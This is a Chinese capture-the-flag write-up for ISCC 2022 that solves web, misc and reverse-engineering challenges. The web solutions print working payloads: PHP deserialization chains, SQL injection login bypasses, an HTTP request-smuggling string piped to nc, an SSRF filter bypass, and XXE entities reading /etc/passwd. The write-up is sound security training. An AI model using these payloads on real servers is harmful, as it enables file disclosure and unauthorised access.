ISCC 2022 Writeup 河南提交Writeup时间已过,今天把自己整理的WP发出来,今年和去年相比解出了更多的题,也认识了一些师傅。
WEB 冬奥会 你来参加2022届冬奥会,想知道冬奥会的主办方想告诉你什么吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php show_source (__FILE__ );$Step1 =False;$Step2 =False;$info =(array )json_decode (@$_GET ['Information' ]);if (is_array ($info )){ var_dump ($info ); is_numeric (@$info ["year" ])?die ("Sorry~" ):NULL ; if (@$info ["year" ]){ ($info ["year" ]=2022 )?$Step1 =True:NULL ; } if (is_array (@$info ["items" ])){ if (!is_array ($info ["items" ][1 ])OR count ($info ["items" ])!==3 ) die ("Sorry~" ); $status = array_search ("skiing" , $info ["items" ]); $status ===false ?die ("Sorry~" ):NULL ; foreach ($info ["items" ] as $key =>$val ){ $val ==="skiing" ?die ("Sorry~" ):NULL ; } $Step2 =True; } }if ($Step1 && $Step2 ){ include "2022flag.php" ;echo $flag ; }?>
开头使用 json_decode
要求 year
不能是数字,其次就是数组 count
,也就是长度必须是 3
,然后在绕绕 array_search
就行了,简单的一批。
1 { "year" : "a" , "items" : [ 0 , [ 1 , 0 , 1 ] , 2 ] }
Pop2020 大家好,我是pip美,我的朋友pop子出现了一些问题,你们能帮我找到pop子出了什么问题吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php echo 'Happy New Year~ MAKE A WISH<br>' ;if (isset ($_GET ['wish' ])){ @unserialize ($_GET ['wish' ]); }else { $a =new Road_is_Long ; highlight_file (__FILE__ ); }class Road_is_Long { public $page ; public $string ; public function __construct ($file ='index.php' ) { $this ->page = $file ; } public function __toString ( ) { return $this ->string ->page; } public function __wakeup ( ) { if (preg_match ("/file|ftp|http|https|gopher|dict|\.\./i" , $this ->page)) { echo "You can Not Enter 2022" ; $this ->page = "index.php" ; } } }class Try_Work_Hard { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } }class Make_a_Change { public $effort ; public function __construct ( ) { $this ->effort = array (); } public function __get ($key ) { $function = $this ->effort; return $function (); } }
原题 NISACTF2022
的 POPchain
1 2 3 4 5 6 __construc () __toString () __wakeup () __get () __invoke ()
题目存在 include
变量,可以尝试控制 $value
通过伪协议读取文件,那也就是是需要触发 _invoke
那么,哪里可以将对象调用为函数呢,我们可以看到有
1 2 3 public function __get ($key ) { $function = $this ->effort; return $function ();
这里可以看到通过 _get
方法使得 p
这个对象被调用为 函数
可以看到,_get
方法属于 Make_a_Change
类,那么如何调用 Make_a_Change
类呢
从头看,首先 serialize
会触发 __wakeup()
,
wakeup()
方法通过 preg_match()
将 $this->page
做字符串比较,如果 $this->page
是 Road_is_Long
类,就调用了 toString()
方法;
又因为如果 $string
的 page
属性难以访问,则会调用 _get
如果 $string
是 Test
类,则不存在 page
属性
因此可以有POP链:
1 Try_Work_Hard::__invoke()<--Make_a_Change::__get()<--Road_is_Long::__toString()
1 2 3 4 5 6 // 流程 Road_is_Long:__wakeup.page $page = new Road_is_Long $string = new Make_a_Change $effort = new Try_Work_Hard $var='php://filter/read=convert.base64-encode/resource=flag.php';
构造EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class Try_Work_Hard { protected $var ='php://filter/read=convert.base64-encode/resource=flag.php' ; }class Road_is_Long {public $page ; public $string ; }class Make_a_Change { public $effort ; } $a =new Road_is_Long ();$b =new Road_is_Long ();$c =new Make_a_Change ();$d =new Try_Work_Hard (); $a -> page=$b ;$b -> string =$c ;$c -> effort =$d ; echo urlencode (serialize ($a ));
1 O%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BO%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BN%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_Change"%3A1%3A%7Bs%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A6%3A"string"%3BN%3B%7D
Easy-SQL Beaxia的邮箱地址忘记了,你能帮忙找找吗?
试了一下,id=8
时提示 Can you find beaxia's email?
,所以是找 用户8
的邮箱地址,sqlmap跑不出来,最后手注出来了。
1 http://59.110.159.206:7010/?id=-8 union table emails limit 7,1
请求后返回了一个 ypHeMPardErE.zip@beaxia.cn
我们直接访问 http://59.110.159.206:7010/ypHeMPardErE.zip
得到网站源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <?php include "./config.php" ;$conn = mysqli_connect ($hostname , $username , $password , $database ); if ($conn ->connect_errno) { die ("Connection failed: " . $conn ->connect_errno); } echo "Where is the database?" ."<br>" ;echo "try ?id" ;function sqlWaf ($s ) { $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i' ; if (preg_match ($filter ,$s )) return False; return True; }if (isset ($_GET ['id' ])) { $id = $_GET ['id' ]; $sql = "select * from users where id=$id " ; $safe = preg_match ('/select/is' , $id ); if ($safe !==0 ) die ("No select!" ); $result = mysqli_query ($conn , $sql ); if ($result ) { $row = mysqli_fetch_array ($result ); echo "<h3>" . $row ['username' ] . "</h3><br>" ; echo "<h3>" . $row ['passwd' ] . "</h3>" ; } else die ('<br>Error!' ); }if (isset ($_POST ['username' ]) && isset ($_POST ['passwd' ])) { $username = strval ($_POST ['username' ]); $passwd = strval ($_POST ['passwd' ]); if ( !sqlWaf ($passwd ) ) die ('damn hacker' ); $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'" ; $result = $conn ->query ($sql ); if ($result ->num_rows > 0 ) { $row = $result ->fetch_assoc (); if ( $row ['username' ] === 'admin' && $row ['passwd' ] ) { if ($row ['passwd' ] == $passwd ) { die ($flag ); } else { die ("username or passwd wrong, are you admin?" ); } } else { die ("wrong user" ); } } else { die ("user not exist or wrong passwd" ); } }mysqli_close ($conn ); ?>
1 2 3 username=-1' union select 1,'admin',2#&passwd=2 ------------------------------------------------- username=admin1' union select 'admin','admin','admin'#&passwd=admin
让我康康! 阿伟说他藏flag超勇的,彬彬托你帮他找出阿伟藏的flag
原题:http://www.hackdig.com/10/hack-519692.htm
payload
1 echo "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020
爱国敬业好青年-2 这位爱国敬业好青年在哪呢?
根据题干和题目得知要提交位置坐标,这题又和 爱国敬业好青年-1
有关联,虽然一直是 0
解,但不影响我解开这题,上一题中有张天安门的图片,直接提交天安门的坐标试试。
1 2 3 4 5 6 7 8 9 <div style ="text-align: center;width: 100%;height: 100%;position: absolute;top: -0px;left: -0px;z-index: 1" > <form class ="form" id ="a-form" method ='POST' action ="flag" > <b style ="font-size: 15px" > </b > <br > <label > Latitude:</label > <input style ="margin-left: 20px;width: 110px" type ="text" name ="lati" required > <br > <label > Langtitude: </label > <input style ="width: 110px;margin-left: 5px" type ="text" name ="langti" required > <br > <button type ="submit" id ='true_button' disabled ='true' > 提交</button > <p > 经纬度示例:177°30'E, 25°33'N<a style ="border:none;cursor:default;" onclick ="return false" href ="info" > </a > !</p > </form > </div >
使用题目内置的表单提交会出问题(也可能是出题人故意留的),我们直接提取出有用的信息 PSOT
请求 /flag
,然后经度是 lati
,维度是 langti
,直接 hackbar
发出去就行了。
一开始 hackbar
发的好好的,但是一会能出flag一会出不来flag,我麻了,直接 python
循环一百次!
1 2 3 4 5 6 7 8 9 10 11 12 import requests data = { 'langti' : '39°54′N' , 'lati' : '116°23′E' } url = 'http://59.110.159.206:8020/flag' for i in range (0 , 100 ): r = requests.post(url, data=data) print (r.text)
findme 从赛博朋克的不夜城中找到你想要的秘密吧
打开环境一张赛博朋克图片,在源代码里看到注释了 unser.php
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Where am I</title > </head > <body > <img src ="1.png" width ="100%" height ="100%" > <br > </body > </html >
访问后得到题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php highlight_file (__FILE__ );class a { public $un0 ; public $un1 ; public $un2 ; public $un3 ; public $un4 ; public function __destruct ( ) { if (!empty ($this ->un0) && empty ($this ->un2)){ $this -> Givemeanew (); if ($this -> un3 === 'unserialize' ){ $this -> yigei (); } else { $this -> giao (); } } } public function Givemeanew ( ) { $this -> un4 = new $this ->un0 ($this -> un1); } public function yigei ( ) { echo 'Your output: ' .$this ->un4; } public function giao ( ) { @eval ($this ->un2); } public function __wakeup ( ) { include $this -> un2.'hint.php' ; } }$data = $_POST ['data' ];unserialize ($data );
1 2 3 4 5 6 7 8 9 10 11 12 <?php Class a{ public $un0 ='SplFileObject' ; public $un1 ='php://filter/read=convert.base64-encode/resource=hint.php' ; public $un2 ='' ; public $un3 ='unserialize' ; public $un4 ='' ; }$data = new a;echo urlencode (serialize ($data ));?>
1 data=O:1 :"a" :5 :{s:3 :"un0" ;s:13 :"SplFileObject" ;s:3 :"un1" ;s:57 :"php://filter/read=convert.base64-encode/resource=hint.php" ;s:3 :"un2" ;N;s:3 :"un3" ;s:11 :"unserialize" ;s:3 :"un4" ;N;}
请求后页面新增回显
1 Your output: PD9waHANCiRhID0gJ2ZsYWflnKjlvZPliY3nm67lvZXkuIvku6XlrZfmr41m5byA5aS055qEdHh05LitLOaXoOazleeIhuegtOWHuuadpSc7
base64
解码后得到
1 2 <?php $a = 'flag在当前目录下以字母f开头的txt中,无法爆破出来' ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php Class a{ public $un0 ='GlobIterator' ; public $un1 ='f*.txt' ; public $un2 ='' ; public $un3 ='unserialize' ; public $un4 ='' ; }$data = new a;echo urlencode (serialize ($data ));?>
1 data=O:1 :"a" :5 :{s:3 :"un0" ;s:12 :"GlobIterator" ;s:3 :"un1" ;s:6 :"f*.txt" ;s:3 :"un2" ;N;s:3 :"un3" ;s:11 :"unserialize" ;s:3 :"un4" ;N;}
请求后页面新增回显
1 Your output: fA07TE_G19nde_OR1Der5r.txt
直接访问:http://59.110.159.206:8030/fA07TE_G19nde_OR1Der5r.txt 得到flag
这是一道代码审计题 遇到问题读源代码
访问题目页面显示 /index
请求后一直 404
…突然发现 cookies
有个 login
参数,直接 0
改为 1
页面显示正常了(我在Chrome需要改login参数而在Edge则直接不需要修改
根据题目要求构建请求参数 /index?url=127.0.0.1
源代码中得到一段 base100
编码,解码后得到题目源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 def geneSign (): if (control_key==1 ): return render_template("index.html" ) else : return "You have not access to this page!" def check_ssrf (url ): hostname = urlparse(url).hostname try : if not re.match ('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+' , url): if not re.match ('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+' , url): raise BaseException("url format error" ) if re.match ('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+' , url): if judge_ip(hostname): return True return False , "You not get the right clue!" else : ip_address = socket.getaddrinfo(hostname,'http' )[0 ][4 ][0 ] if is_inner_ipaddress(ip_address): return False ,"inner ip address attack" else : return False , "You not get the right clue!" except BaseException as e: return False , str (e) except : return False , "unknow error" def ip2long (ip_addr ): return struct.unpack("!L" , socket.inet_aton(ip_addr))[0 ]def is_inner_ipaddress (ip ): ip = ip2long(ip) print (ip) return ip2long('127.0.0.0' ) >> 24 == ip >> 24 or ip2long('10.0.0.0' ) >> 24 == ip >> 24 or ip2long('172.16.0.0' ) >> 20 == ip >> 20 or ip2long('192.168.0.0' ) >> 16 == ip >> 16 or ip2long('0.0.0.0' ) >> 24 == ip >> 24 def waf1 (ip ): forbidden_list = [ '.' , '0' , '1' , '2' , '7' ] for word in forbidden_list: if ip and word: if word in ip.lower(): return True return False def judge_ip (ip ): if (waf1(ip)): return Fasle else : addr = addr.encode(encoding = "utf-8" ) ipp = base64.encodestring(addr) ipp = ipp.strip().lower().decode() if (ip==ipp): global control_key control_key = 1 return True else : return False
很明显是构建 SSRF
,加个 @
绕过 waf
并把127.0.0.1
base64
编码一下构造绕过 /index?url=http://@MTI3LjAuMC4x
访问 /mti3ljaumc4x
同时按照题目要求设置好 Cookie
。
测试发现存在 XXE
1 2 3 4 5 6 7 <?xml version="1.0" ?> <!DOCTYPE user [ <!ENTITY name SYSTEM "file:///etc/passwd" > ]><user > <name > &name; </name > <password > &name; </password > </user >
直接拿到FLAG
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /mti3ljaumc4x/codelogin HTTP/1.1 Host: 59.110.159.206:8040 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Cookie: login=0; a_cookie=aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ== Content-Length: 163<?xml version="1.0" ?> <!DOCTYPE user [ <!ENTITY name SYSTEM "file:///proc/self/cwd/flag.txt" > ]><user > <name > &name; </name > <password > &name; </password > </user >
MISC 单板小将苏翊鸣 在此次冬季奥运会项目中,17岁的单板小将苏翊鸣在单板项目中获得一金一银的优异成绩,打破了多年来中国队的历史最好成绩,为中国队此次冬奥之行锦上添花。
打开后俩文件 原图.png
和 加密压缩包flag.rar
,很明显图片缺半截,我们直接高度改为 1000px
多出来的像素出现了二维码,直接扫码,得到一段 unicode
,解密后得到
1 在这次冬奥会的舞台上,我国小将苏翊鸣斩获一金一银,那你知道此次冬奥会我国总共获得几枚奖牌吗?又分别是几金几银几铜呢?
根据提示搜索一番,得到 flag.rar
解压密码 15942
其实这种弱密码我觉得爆破更快一些2333,解压后得到flag。
降维打击 降维打击
附件图片是《魔女之旅》中的伊蕾娜,我们用 foremost
分离出另一张图片
然后使用 zsteg 文件名 -a
命令发现 b1,r,lsb,yx
还有一张 png
图片
我们使用 zsteg -E 'b1,r,lsb.yx' 文件名 > flag.png
提取出这张图片
根据图片名百度 魔女之旅 文字
找到了两篇文章
《魔女之旅》文字破解:https://www.bilibili.com/read/cv7855745
《魔女之旅》文字破解·印刷体:https://www.bilibili.com/read/cv8724055
重要的就是下面那两张图,直接对比出来相应的英文大写 字母即可(眼都看瞎了),flag格式:ISCC{- -****}
藏在星空中的诗-1 漫天的繁星也许是一首美丽的诗!(建议使用winRAR)
下载后三个附件 Stars.psd
、Poem.txt
和 加密压缩包Poem_is_the_Key.zip
Ps打开Stars.psd
文件,图层1
不透明度改为 100
,发现出来一个有箭头指向的星星
我们直接把 Poem.txt
通过上面星星的指向顺序 13524
排列出 Poem_is_the_Key.zip
的解压密码(一定要用Winrar,其他解压软件应该不支持这种密码)。
压缩包解密后得到一个表格
然后把 Poem.txt
里面的星星,对照着表格中的字母敲出来,第一行为 FLAG=
,第二行为 ISCC{
,依此对照敲出 三四五
行
Flag格式:ISCC{14个大写字符}
真相只有一个 misc是英文miscellaneous的前四个字母,表示有杂项、混合体、大杂烩的意思,题目思路广,模式不定,线索众多,在这些线索中有的有用有的没用,最终的真相只有一个。
打开 flag.txt
全选后发现有点像 snow
,解密密码猜了一下,直接 snow.exe -C -p isccmisc flag.txt
,得到flag
小光学AI 小光同学最近在学习人工智能技术,看了周志华老师的西瓜书后,感觉自己又行了。 这次他找来了三种水果的图片:黄瓜、茄子和蘑菇,研究的第一步是区分这三种水果,将三种水果分类;第二步是图像分割,选中目标区域,目标区域指的是能够覆盖图片中水果区域的最小矩形。 做完后小光同学计算出了三种水果目标区域的像素和A,B,C(0<A,B,C<10^9),发现这些像素和可以化简到x:y:z,其中(0<x,y,z<10),你可以找到A,B,C三者的实际值之比吗(格式A:B:C)?
Flag格式:ISCC{XXX}
没学过AI,题干也没看懂直接按照题目中提到的格式生成字典爆破
1 2 3 4 5 6 7 8 9 out = [] fp = open ("encode.txt" , "w+" , encoding="ANSI" )for i in range (1 ,10 ): for j in range (1 , 10 ): for m in range (1 , 10 ): for n in range (10000 ,100000 ): fp.write("{0}:{1}:{2}\n" .format (i*n, j*n, m*n))print ("Done" )
解压密码
2022冬奥会 2022冬奥会在北京举办,身为东道主的你知道此次冬奥会的吉祥物分别是谁吗?并且你知道这两只冬奥会的吉祥物最初设计的原型分别是什么吗?我只能提示你其中有一只的原型是我们的国宝哦。
这题没什么好说的,冰墩墩原型是熊猫,雪容融原型是灯笼,所以解压密码是:灯笼
解压之后记事本打开图片,得到flag
藏在星空中的诗-2 漫天的繁星也许是另一首美丽的诗!
打开后如图所示,和 藏在星空中的诗-1
差不多,直接对照着 藏在星空中的诗-1
中的表格敲出密文。
1 \QTTPU\QTTED\QTTPD\QTTPD\QTTKB\QTTPK\QTTFB\QTTPD\QTTFK\QTTFO\QTTKT\QTTFE\QTTKG\QTTKD\QTTFU\QTTPG\QTTDU\QTTKU\QTTPK\QTTKH
然后 QTT
批量替换为 u00
,然后对照着表格进行解密。示例 QYYPU = u0049
最后得到一段 unicode
,直接解密即可
1 \u0049\u0053\u0043\u0043\u007B\u0047\u006B\u0043\u0067\u006F\u0070\u0065\u007A\u0073\u0069\u004A\u0039\u0079\u0047\u007D
隐秘的信息 乐乐在开始做作业时,遇到了一串ZWFzeV90b19maW5kX3RoZV9mbGFn字符串,研究了一番,什么都没有发现。乐乐能找到隐秘的信息并完成作业吗?
题干中的字符串是 base64
编码,直接解密得到压缩包的解压密码 easy_to_find_the_flag
,使用 StegSolve
发现图片是 LSB
隐写(R0/G0/B0
),直接复制我选中的字符串,如下所示。
删掉右侧多余的乱码字符串,只保留左侧的16进制代码,如下所示。
1 fff495343437b6b5 4336a74507377355 23759365270796a4 e7a307dc01f8007f fffc7e3fe00fff00 71
使用 CyberChef
先 From Hex
在 To Binary
得到一串二进制代码。
直接把前面的 1
删掉,然后再 From Binary
转换为字符串就会出现flag。
套中套 亲爱的CTFer走到一个巨大的盒子前,上面写满了0和1,却也看不出个所以然。仔细看了半夜,才在字缝中看出来,整个盒子都写着“套中套”……
下载附件得到俩文件 tzt.png
和加密压缩包 tzt2.zip
,打开 png
提示文件损坏,010编辑器打开在末尾发现一段 base64
,解码后得到flag2: _ISCC_Zo2z
。
然后很明显看到缺了文件头,直接补上 89504e470d0a1a0a0000000d
,正常打开图片…. 啥也没有。
直接修改 高度
得到 wELC0m3_
尝试了各种组合,还是解不开压缩包,也得不到 flag3
在哪,最后靠学弟猜出了完整的字符串:wELC0m3_T0_tH3_ISCC_Zo2z
,使用这段字符串解压压缩包。
解压后得到一堆文件,百度了一番发现是原题(背包加密):https://ctf-wiki.org/crypto/asymmetric/knapsack/knapsack/#_9 ,直接用脚本一把梭了。
直接把解压后 pub.Key
和 enc.txt
文件内容填入下面的脚本中。然后使用 https://sagecell.sagemath.org/ 在线运行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pubKey = nbit = len (pubKey) encoded = A = Matrix(ZZ, nbit + 1 , nbit + 1 )for i in range (nbit): A[i, i] = 1 for i in range (nbit): A[i, nbit] = pubKey[i] A[nbit, nbit] = -(encoded) res = A.LLL()for i in range (0 , nbit + 1 ): M = res.row(i).list () flag = True for m in M: if m != 0 and m != 1 : flag = False break if flag == True : M = '' .join(str (j) for j in M) M = M[:-1 ] M = hex (int (M, 2 ))[2 :] print (hex (int (M,16 )))
然后直接十六进制转字符串即可
666 小孔同学最近新加入了一个实验室,作为一名菜鸡,每天的重要工作之一就是给大佬喊666。不过如今喊666的方式也要创新,你有什么好的办法吗?
注:本题结果X加上ISCC{}写作ISCC{X}
压缩包有伪加密,直接修复一下
解压后得到加密压缩包 flag.rar
和 一张熊本熊的图片,使用 steghide
解密熊本熊图,密码随便试了个弱口令成功了
得到半截 png
图片,图片高度修改为 300
得到压缩包密码 !@#$%678()_+
解压压缩包后得到 stream.pcapng
,看到了里面有 http
请求,我们直接导出 http
请求
在json文件中发现一个网址
打开 https://www.cnblogs.com/konglingdi/p/14998301.html
发现一张千与千寻的图,而且可以看到有东西一闪而过了
第七帧
1 SElERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==
base64解密后得到
1 HIDEkey:852 987456321 98423 98423 REALkey:xSxx
852 987456321 98423
通过手机九键键盘加密可以得出 ISCC
,大概就是下面这个意思
第16帧
第26帧
第 16
帧和第26
帧拼接到一块,然后 AES
解密,密码 ISCC
,得到flag
REVERSE Amy’s Code 代码好像有点眼熟?
ida x32
打开,直接定位到 sub_412550
,F5
查看伪代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 v9 = [0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ] v9[0 ] = 149 ; v9[1 ] = 169 ; v9[2 ] = 137 ; v9[3 ] = 134 ; v9[4 ] = 212 ; v9[5 ] = 188 ; v9[6 ] = 177 ; v9[7 ] = 184 ; v9[8 ] = 177 ; v9[9 ] = 197 ; v9[10 ] = 192 ; v9[11 ] = 179 ; v9[12 ] = 153 ; v9[13 ] = 163 ; v9[14 ] = 195 ; v9[15 ] = 137 ; v9[16 ] = 112 ; v9[17 ] = 189 ; v9[18 ] = 110 ; v9[19 ] = 184 ; str1 = 'LWHFUENGDJGEFHYDHIGJ' flag = '' for i in range (len (str1)): flag += chr (v9[i] - ord (str1[i])^i)print (flag)
How_decode 只要你输入的是正确答案,程序就会告诉你,你是对的,加油
ida x64
打开,直接定位到 main
函数,F5
查看伪代码。
Encode函数
把 v2
加密了,加密后的 v2
数组和 p_v1
数组进行比较(全部相等输出正确)
1 2 3 4 5 6 7 encode(v2, n, k);for ( i_0 = 0 ; i_0 < n; ++i_0 ) { if ( *((_DWORD *)p_v1 + i_0) != v2[i_0] ) goto LABEL_2; }printf ("Your input is the right answer!" );
通过开头这一段我们能够拿到 p_v1
数组即加密后的 v2
,用于加密的 k
和长度 n
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 n1 = 18 ; v11 = 17 i64; v3 = alloca(80 i64); p_v1 = (int (*)[])(4 * (((unsigned __int64)v2 + 3 ) >> 2 )); v4 = p_v1; *(_DWORD *)p_v1 = 646664799 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = -1563984516 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = 5403868 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = -851615406 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = -1577982033 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = -1112569621 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = -2038538024 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = 89732896 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = 856644365 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = -1143066723 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = 1826125009 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = 947398586 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = -204891967 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = -1909151093 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = 632925486 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = 381866701 ; v4 = (int (*)[])((char *)v4 + 4 ); *(_DWORD *)v4 = -976384688 ; *((_DWORD *)v4 + 1 ) = -1681924957 ; k[0 ] = 73 ; k[1 ] = 83 ; k[2 ] = 67 ; k[3 ] = 67 ;
进入加密函数 encode
可以看出来是一个 XXTEA加密
或者通过 findcrypt
插件也可以看出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 void __cdecl encode (int *v, int n, const int *key) { int *v4; int *v5; int y; int e; int rounds; int p; int sum; int z; rounds = 52 / n + 6 ; sum = 0 ; for ( z = v[n - 1 ]; rounds--; z = *v5 ) { sum -= 1640531527 ; e = (sum >> 2 ) & 3 ; for ( p = 0 ; p < n - 1 ; ++p ) { y = v[p + 1 ]; v4 = &v[p]; *v4 += ((y ^ sum) + (z ^ key[e ^ p & 3 ])) ^ (((4 * y) ^ (z >> 5 )) + ((y >> 3 ) ^ (16 * z))); z = *v4; } v5 = &v[n - 1 ]; *v5 += ((*v ^ sum) + (z ^ key[e ^ p & 3 ])) ^ (((4 * *v) ^ (z >> 5 )) + ((*v >> 3 ) ^ (16 * z))); } }
找一个解密算法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #define DELTA 0x9e3779b9 #define MX (((z>>5^y<<2) + (y> >3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z))) void btea (int32_t *v, int n, int32_t const key[4 ]) { int32_t y, z, sum; signed p, rounds, e; if (n > 1 ) { rounds = 6 + 52 /n; sum = 0 ; z = v[n-1 ]; do { sum += DELTA; e = (sum >> 2 ) & 3 ; for (p=0 ; p<n-1 ; p++) { y = v[p+1 ]; z = v[p] += MX; } y = v[0 ]; z = v[n-1 ] += MX; } while (--rounds); } else if (n < -1 ) { n = -n; rounds = 6 + 52 /n; sum = rounds*DELTA; y = v[0 ]; do { e = (sum >> 2 ) & 3 ; for (p=n-1 ; p>0 ; p--) { z = v[p-1 ]; y = v[p] -= MX; } z = v[n-1 ]; y = v[0 ] -= MX; sum -= DELTA; } while (--rounds); } }
编写解密脚本即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 #include <stdio.h> #include <stdint.h> #define DELTA 0x9e3779b9 #define MX (((z>>5^y<<2) + (y> >3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z))) void btea (int32_t *v, int n, int32_t const key[4 ]) { int32_t y, z, sum; signed p, rounds, e; if (n > 1 ) { rounds = 6 + 52 /n; sum = 0 ; z = v[n-1 ]; do { sum += DELTA; e = (sum >> 2 ) & 3 ; for (p=0 ; p<n-1 ; p++) { y = v[p+1 ]; z = v[p] += MX; } y = v[0 ]; z = v[n-1 ] += MX; } while (--rounds); } else if (n < -1 ) { n = -n; rounds = 6 + 52 /n; sum = rounds*DELTA; y = v[0 ]; do { e = (sum >> 2 ) & 3 ; for (p=n-1 ; p>0 ; p--) { z = v[p-1 ]; y = v[p] -= MX; } z = v[n-1 ]; y = v[0 ] -= MX; sum -= DELTA; } while (--rounds); } } int main () { int32_t v[18 ]; v[0 ] = 2083504789 ; v[1 ] = 863817516 ; v[2 ] = -1246907673 ; v[3 ] = 861360817 ; v[4 ] = -1944023979 ; v[5 ] = 71509067 ; v[6 ] = -305568114 ; v[7 ] = 1203113234 ; v[8 ] = 39999966 ; v[9 ] = 1408413502 ; v[10 ] = -797353570 ; v[11 ] = -84516483 ; v[12 ] = 1904288836 ; v[13 ] = 1737869011 ; v[14 ] = 492860697 ; v[15 ] = 2091909920 ; v[16 ] = 1335943054 ; v[17 ] = 125072142 ; int32_t const k[4 ]= {0x49 , 0x53 , 0x43 , 0x43 }; int n= 18 ; btea (v, -n, k); printf ("解密后的数据:%u %u\n" ,v[0 ],v[1 ]); for (int i=0 ;i<18 ;i++){ printf ("%c" ,v[i]); } return 0 ; }
Sad Code 就是喜欢做题,你喜欢做数学题吗?
ida x32
打开,定位到 _main_0
,F5
查看伪代码。
